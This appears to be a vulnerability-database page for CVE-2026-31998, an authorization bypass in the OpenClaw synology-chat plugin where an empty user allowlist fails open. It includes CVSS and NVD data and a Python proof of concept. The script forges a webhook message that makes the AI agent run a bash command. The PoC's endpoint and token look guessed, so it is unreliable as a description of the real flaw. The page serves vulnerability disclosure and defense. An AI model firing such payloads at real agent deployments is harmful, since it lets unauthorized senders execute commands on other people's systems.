Security Vulnerability Report
中文
CVE-2026-31998 CVSS 8.6 HIGH

CVE-2026-31998

Published: 2026-03-19 02:16:05
Last Modified: 2026-03-25 15:16:43

Description

OpenClaw versions 2026.2.22 and 2026.2.23 contain an authorization bypass vulnerability in the synology-chat channel plugin where dmPolicy set to allowlist with empty allowedUserIds fails open. Attackers with Synology sender access can bypass authorization checks and trigger unauthorized agent dispatch and downstream tool actions.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:* - VULNERABLE
OpenClaw 2026.2.22
OpenClaw 2026.2.23

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-31998 PoC - Authorization Bypass in OpenClaw synology-chat plugin # Target: OpenClaw instance with synology-chat plugin enabled TARGET_URL = "http://target:8080" SYNOLOGY_WEBHOOK = "http://synology-chat-server/webhook/openclaw" def exploit_authorization_bypass(): """ Exploit the authorization bypass when dmPolicy='allowlist' and allowedUserIds=[] This PoC demonstrates sending a malicious message to trigger unauthorized agent dispatch. """ # Malicious payload to trigger unauthorized agent action malicious_payload = { "user_id": "[email protected]", # Any user ID will bypass when allowedUserIds is empty "username": "attacker", "content": "Execute agent: /exec /bin/bash -c 'whoami > /tmp/pwned'" } headers = { "Content-Type": "application/json", "X-Synology-Chat-Token": "malicious_token" } # Send the payload to the vulnerable synology-chat webhook endpoint response = requests.post( f"{TARGET_URL}/webhook/synology-chat", json=malicious_payload, headers=headers, timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Check if unauthorized agent dispatch was triggered if response.status_code == 200: print("[+] Authorization bypass successful!") print("[+] Unauthorized agent action triggered.") return True else: print("[-] Exploit failed or target not vulnerable.") return False if __name__ == "__main__": print("CVE-2026-31998 - OpenClaw Authorization Bypass PoC") print("=" * 50) exploit_authorization_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31998", "sourceIdentifier": "[email protected]", "published": "2026-03-19T02:16:05.347", "lastModified": "2026-03-25T15:16:43.270", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions 2026.2.22 and 2026.2.23 contain an authorization bypass vulnerability in the synology-chat channel plugin where dmPolicy set to allowlist with empty allowedUserIds fails open. Attackers with Synology sender access can bypass authorization checks and trigger unauthorized agent dispatch and downstream tool actions."}, {"lang": "es", "value": "Las versiones 2026.2.22 y 2026.2.23 de OpenClaw contienen una vulnerabilidad de omisión de autorización en el plugin del canal synology-chat donde dmPolicy configurado como allowlist con allowedUserIds vacíos falla de forma abierta. Atacantes con acceso de remitente de Synology pueden omitir las comprobaciones de autorización y desencadenar el envío no autorizado de agentes y acciones de herramientas posteriores."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "2026.2.22", "versionEndExcluding": "2026.2.24", "matchCriteriaId": "230E830B-704E-4F79-889F-CC16BFAD76CF"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/0ee30361b8f6ef3f110f3a7b001da6dd3df96bb5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/commit/7655c0cb3a47d0647cbbf5284e177f90b4b82ddb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-gw85-xp4q-5gp9", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-authorization-bypass-in-synology-chat-plugin-via-empty-alloweduserids", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}